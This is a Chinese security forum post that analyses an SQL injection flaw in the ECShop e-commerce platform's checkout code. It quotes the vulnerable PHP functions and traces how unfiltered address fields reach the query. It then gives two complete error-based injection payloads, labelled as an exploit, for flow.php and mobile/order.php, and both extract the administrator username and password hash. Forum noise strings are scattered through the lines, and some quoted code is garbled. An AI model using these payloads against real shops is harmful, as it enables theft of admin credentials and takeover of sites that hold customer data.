找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1972|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。6 Q4 Y$ v0 f, Q. C

/ s1 i( n, |0 Y0 f" h    漏洞关键文件:
9 u* |1 W& p; G$ H- k% G( G7 r3 r: q+ y+ @% l5 N
    /includes/lib_order.php4 x9 C: G( a) ?! ^3 g( o3 R1 P# d

  g1 h' t7 \  k7 C7 {    关键函数:5 f2 ^3 m' U* M5 J' c) L. y
: j+ Z0 `2 v$ p1 J6 d2 l5 ?

. o5 H( `* D$ f; ?! y$ a3 M4 B( @- H5 |& d# G" Y3 o. d
01     function available_shipping_list($region_id_list)
' i- e8 x) M! h4 M/ R8 q& |( d5 t. t8 A. g/ E. z
02 { 7 Q- t& L2 B% z; D7 V$ M6 x

7 G# J2 B  \- h$ E0 O8 ]$ R03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 1 @/ U5 [8 T) [: I! ^( x$ D/ q
) T' D5 p9 _3 d
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
+ z; ], L  P  t, \; P/ x/ W
: W% Y. c6 c5 p+ ~  M4 D05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
$ b. w- E+ n7 Y5 N! s5 c. e+ k& t
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 6 ]6 \. _; y" n+ R( D

9 e6 k5 C. `5 q; C07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
* B9 M4 }; s6 E3 C6 d: s1 }% g1 [  @! ~
08             'WHERE r.region_id ' . db_create_in($region_id_list) .   T5 r+ q3 A% I$ p

1 ^( b: t/ h0 s; s' w, n# m) Q09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 1 x( _% i; ~- ~7 S8 Q
! `5 O4 ]! \1 {. O8 k0 T
10   
) g3 O& p8 @( y% v" k- p, i
. o! h% _1 J2 g8 V11     return $GLOBALS['db']->getAll($sql); , K7 s* R6 W$ S9 J

/ e7 d- I. h4 v6 I  Q+ b12 }
5 {7 ?) o& c  S+ E# ]. V! J  [8 a8 b+ v* |. o( P/ y
显然对传入的参数没有任何过滤就带入了查询语句。
3 Q* F1 [% |" H0 S9 e 6 @- G- m% U5 M* F
下面我们追踪这个函数在flow.php中:0 G2 E2 w( V4 y3 u
第531行:   * P7 Z- x  k- ]* H* q$ ~( u0 f

/ J# r4 A, D! ^% }1 $shipping_list     = available_shipping_list($region); # E8 k- Z$ ]2 ], x; V6 f: W" E
3 G0 a$ A, Z1 f

. o% d+ q' w( `4 I! p, `
: Z- [7 H7 z- X; U* E3 J
# Z+ B' J/ C/ B1 t0 W6 E' Y! z) ^1 r$ l& A2 O
再对传入变量进行追踪:9 G- B$ A8 c# `  t) Y% v( g8 e

0 ~  f2 w4 c, p+ d2 E第530行:    & G& W% l: _" ^. V- U9 r
4 j, ]7 W* r  F2 `% s# R' p
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
6 T9 R9 h3 e( a. \
% Q( x# i  ~/ G % i( b3 a; s, ]0 m# Y/ e
4 ~! w2 v% P# {( R& R& t

  h, G& G3 n4 J4 P* c* k: c* c' N& p: r7 A* J/ O, f5 Q
第473行:        
1 |8 D' t4 K- F8 Z; {- H& F
) t& a; \0 t) b' r$ ^1 $consignee = get_consignee($_SESSION['user_id']);
: J7 Q. p: S2 \7 o2 E' H" l8 \3 F- D! O! a
到了一个关键函数:
( s% r* A( ^" U! Q& C9 a& _$ h
9 p4 e6 d4 n7 W; K4 z/ T/includes/lib_order.php
7 J, t' E8 ^0 }* L% I% k, E' _. o6 _+ {. E# p7 k3 C

8 R, F6 D  }* T# e. g
6 J% ^2 N% B# N. E; w% ^
, f* C2 _7 [4 h) f& Y$ y+ M0 s) a1 Y) E
01 function get_consignee($user_id) 9 M8 H8 T9 H( c5 a
$ r2 D7 I6 H; N  M' `- T
02 { 1 b1 Q) i, j) o& E
+ I) u" [+ l$ {; F: c
03     if (isset($_SESSION['flow_consignee'])) 1 k9 v; {6 \- f% Y

" W- p3 F2 d# V1 J( q04     {
3 }3 D& }% O4 P
3 j! m. a% S0 _+ x! S* u0 O9 ^05         /* 如果存在session,则直接返回session中的收货人信息 */
0 ], s) I4 E2 O1 M5 v" S
) ^  b3 `) B8 E6 ?06   
: R) w+ R4 w8 A8 h
9 }5 P1 j5 h4 E3 Z. D, U2 v/ ^07         return $_SESSION['flow_consignee']; . M5 p: U4 J# J8 N
, {+ {# L& a# u# d1 D- H1 B0 x
08     } # u& V2 k* _6 Z& i

( W" t0 W4 X" }# r5 z09     else / \8 R+ x0 e2 V- }' ?% @( }  s
! T& \0 V# W8 o$ O& h# i: x/ B9 {
10     {
  w; c$ P- l8 k  w9 |9 Y/ @; Z* S+ D% S$ `% r
11         /* 如果不存在,则取得用户的默认收货人信息 */ . _2 q1 |$ x/ K6 H# _8 r
: n, @+ q5 f2 N& r$ m
12         $arr = array();
- c! J( ?, P" o3 y$ j" M
/ t  u5 Q" k5 W# u! ?; t; _- v13   $ v5 z( l5 |/ G( r( Q
8 F5 s: w9 e% ]% K: ?
14         if ($user_id > 0) 2 s% X! X+ D- G4 T! u
  E8 Q$ A  s' s* [( X% @8 R0 t3 Z
15         {
- E& M9 f! {# g. I
! B; g8 m2 ^) w. J16             /* 取默认地址 */
* Q$ U) _6 w% q- K- O' g3 _3 ^4 t+ x' n# W
17             $sql = "SELECT ua.*". 3 m( w; p, d  f1 [

( I; X3 _' i8 q0 D4 G: ~18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
' p/ B! K# S! \' e7 a, v. Z2 D0 `7 `) t; p
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
: D5 ]! y0 d5 K, S0 C4 A$ [9 O0 J  h* c+ x- j7 {: w8 ]
20   % {. `( ~+ Z0 l) H: B* m) i3 `9 I

- Y3 v, Q; X" C# S21             $arr = $GLOBALS['db']->getRow($sql);
) P2 @" _1 \# S$ m0 h* O" x: ^2 h3 ]& p7 A) e
22         } ; k; Y' C0 R9 g) U# y

  Z4 T- D! k. ?; V) x' H23   
1 q. \4 U; d  x* s. G, j5 t/ I' W( q0 ^
24         return $arr; / f) A1 M  L$ K$ a
+ O: H/ {% C# r, q' P- \
25     }
7 L4 k/ V6 J/ x! J- M2 s% W' ]1 l- |# X
26 } % O8 H7 u# u5 I
" {( Z( N0 e' A8 |2 C
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
6 q6 J! R+ l. Z$ G! l' }" J5 R4 g4 J8 c$ G# ^

, G  x/ {; [* {" m( D/ P
- B/ E; Z; G; u# ]! A2 J, [关键点:
$ ~6 v; t" \# D2 T+ Z
$ s# d9 {4 n* ~0 O4 P' V第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);1 g( I5 E" t/ {- Y/ @5 ~# N
) \1 R. [) w6 F  A. K0 }/ W
这里对传入参数反转义存入$_SESSION中。
7 |7 @# v1 L+ U/ S. Y* w  R8 D/ {; x  F% l+ t) h; Y

5 V0 e: _2 {, [
& {2 t/ h$ T3 ^然后看下:' `: F/ \" ]* u; l3 \  B9 g3 V

2 y$ A8 C! X( H- b0 F2 o$ ~0 ~
' V& K) v* E! J' i: ^% B
# u5 {, z0 H7 ~& @- C  A    1 b* x  |$ ?+ F; g; L& ~" |
, `+ Q7 s2 C0 k8 j; w- D* R
01 $consignee = array(   R7 j. A: @# w4 B6 k- [
' M0 k; a  y% R% h* c. v
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
  C2 h) i1 G0 t) t: u/ l$ Y2 v- R1 c" c0 y) N; _
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
( N- Z: g3 G. E+ z/ \8 Q/ p+ d0 m4 @: `; w) x  v, ]
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
: p7 W0 Y6 U6 X7 I( ]
6 @" \: y7 {+ ?5 ~9 B5 y05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
  d+ K8 h6 h) s( j5 Z2 V8 ~- f5 t& n7 j. U. Z- n) N
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], - V1 I/ f; Q- u( [

; M9 V/ a4 B8 F1 l3 f& Z, j; B07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
, n9 J: m4 t3 _; c- ^" x! g4 S; P4 Z! C9 l3 h, |
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 5 B* d- n7 e3 x
' G6 L* C: Q+ N# a, q
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
1 y# Z* z; o, c: Y4 K$ R- p0 Y1 o! k* J- P# R$ e# H, D
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), , h) w/ d6 K' V3 w# J0 c6 j& V
' `, A9 u( p" V, ?% B+ |
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
  k: t+ l: x9 V3 ^# T, r; b
" W2 g3 m0 }8 n' s9 A) A12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
; G' D, ^- c' a7 G4 L2 ]+ w/ I( D
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ) N% m& m* a. A5 P% m
0 B3 F* L7 ^/ [
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
% ~( B  {  r. P9 Y. g2 t' c7 J. ]5 p: ?6 }8 c, e
15     ); 0 x6 o- I! M$ [' A

+ Y: N$ r$ g  X! j/ A好了注入就这样出现了。
( Y1 Z/ S# N2 }' [! Z
; J+ U+ Y* Z; Z+ c9 G& _4 o5 t9 L==================
  f% x9 h4 u0 n- A
3 Y* e7 g/ b. q  O6 C% p# \注入测试:
! @; s  R" L1 G, n" @  [
& }9 |# `3 ~  ]* E环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16); I5 q8 ~2 n9 |4 o& X; S: P7 P
" W" e  Z5 N  @9 Z6 g. P; v/ d1 a
测试程序:ECShop_V2.7.3_UTF8_release1106" ~' M0 \/ w0 Y$ w5 p
& V: e  ^9 f, y4 n( n+ z) K! @1 _- H1 K

* F! C. u  ]% k3 P  v4 M( |3 [4 l  G( H
1.首先需要点击一个商品加入购物车# E" Z2 J1 s7 [* u  W/ a

, A8 c0 ~- d9 m) E: |2 i! m2.注册一个会员帐号
. b* g- Z. K1 R$ R$ \+ |: t# Q0 s6 p# n6 q+ X1 b- r/ W
3.post提交数据: _/ z8 E% i2 b& i  W
" N7 s& N$ a# w2 t$ \) p

# Q1 }' f; [' f3 ^' v+ q7 d
8 o. Q# d9 K7 L% V1 http://127.0.0.1/ecshop/flow.php - Y( k, M) J0 \
- c3 q8 F- Y# v4 D
2   
# T# F( f3 X. t3 V- H! W. y% E. s
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
1 u1 @/ Z0 x' Y* k# ?' k4 x举一反三,我们根据这个漏洞我们可以继续深入挖掘:/ n! E9 z  I! u6 q, U! j

5 }% R1 t) w6 f. J! Z' u我们搜寻关键函数function available_shipping_list(). U* k2 C4 I# \4 @7 C+ |- U

3 m3 ~, z  C+ J- v/ @' w+ P: v在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
: G6 G6 E3 Y& n) T  x( ]" X" z6 w3 [7 ?1 y. z' ^; o/ a1 ~) G
利用exp:2 _' [, O0 P4 s& J% T9 e* i

/ t+ j( S  F& e1 G! S3 C: `2 _/ a1.点击一个商品,点击购买商标9 T, q' n! R1 B
; _8 ]& o: w1 C: |: D2 d0 x" e
2.登录会员帐号. d3 H. b- _9 {- l8 D) Z
$ F! N) J7 L4 S8 x3 {
3.post提交:
$ p; s2 ]4 N4 k8 V! L% q
$ f# P. V$ ?5 ~http://127.0.0.1/ecshop/mobile/order.php
, O, k0 P" B6 H5 ]: k, r0 d) ~  r3 L
( A8 D/ D( j7 h0 ^

/ o( Z+ ~5 R7 Q) q+ e9 Gcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
6 ]: {7 A; i4 b2 f1 q7 @/ }! Z% u# }' h, a4 ^9 K; N. ]2 o! J- A, q9 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表